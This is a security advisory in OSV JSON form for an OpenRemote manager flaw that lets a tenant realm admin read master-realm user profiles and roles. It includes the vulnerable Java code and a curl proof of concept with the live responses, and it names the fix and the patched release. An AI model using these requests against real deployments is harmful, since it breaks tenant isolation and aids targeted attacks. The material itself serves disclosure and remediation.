Vulnerabilities in pkg:maven/io.openremote/openremote-manager

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xqr9-4wvv-gvch",
  "modified" : "2026-10-13T16:08:40Z",
  "published" : "2026-07-06T20:47:57Z",
  "aliases" : [ "CVE-2026-54641" ],
  "summary" : "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl",
  "details" : "### Summary\n\nA realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.\n\n### Details\n\nThe affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.\n\nThree methods are missing an authenticated-realm guard:\n\nget (line 102):\n\n    public User get(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUser(userId);\n        } ...\n    }\n\nThe realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.\n\ngetUserClientRoles (line 294):\n\n    public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);\n        } ...\n    }\n\ngetUserRealmRoles (line 313):\n\n    public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {\n        boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);\n        if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {\n            throw new ForbiddenException(\"...\");\n        }\n        try {\n            return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);\n        } ...\n    }\n\nBy contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.\n\nThe existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.\n\n### PoC\n\nPrerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.\n\nStep 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).\n\nStep 2. Obtain an access token for the tenantb admin:\n\n    TENANTB_TOKEN=$(curl -s -X POST \\\n      \"https://<host>/auth/realms/tenantb/protocol/openid-connect/token\" \\\n      -d \"client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!\" \\\n      | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\nStep 3. Read a master-realm user profile using the tenantb token:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response from the live test instance (commit 22a42a7, 2026-06-04):\n\n    {\"realm\":\"master\",\"realmId\":\"104856cd-ae5b-4a2d-917a-7e7f700561c8\",\n     \"id\":\"f05e9eb4-0de6-45a6-9dc5-088402465e4e\",\n     \"firstName\":\"System\",\"lastName\":\"Administrator\",\n     \"enabled\":true,\"createdOn\":1780550421390,\n     \"serviceAccount\":false,\"username\":\"admin\"}\n    HTTP 200\n\nStep 4. Read master-admin realm roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e\"\n\nObserved response:\n\n    [\"admin\"]\n    HTTP 200\n\nStep 5. Read master-admin client roles:\n\n    curl -s -H \"Authorization: Bearer $TENANTB_TOKEN\" \\\n      \"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote\"\n\nObserved response:\n\n    [\"read:alarms\",\"read:logs\",\"write:logs\",\"read:admin\",\"write:insights\",\"read:services\",\n     \"write:alarms\",\"write:attributes\",\"write:services\",\"write:user\",\"write:assets\",\n     \"read:insights\",\"read:map\",\"read:users\",\"read:assets\",\"read:rules\",\"write\",\n     \"write:admin\",\"read\",\"write:rules\"]\n    HTTP 200\n\nAll three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.\n\nA fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.\n\n### Impact\n\nAny realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.openremote:openremote-manager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.24.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openremote/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openremote/core/releases/tag/1.24.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-06T20:47:57Z",
    "nvd_published_at" : null
  }
}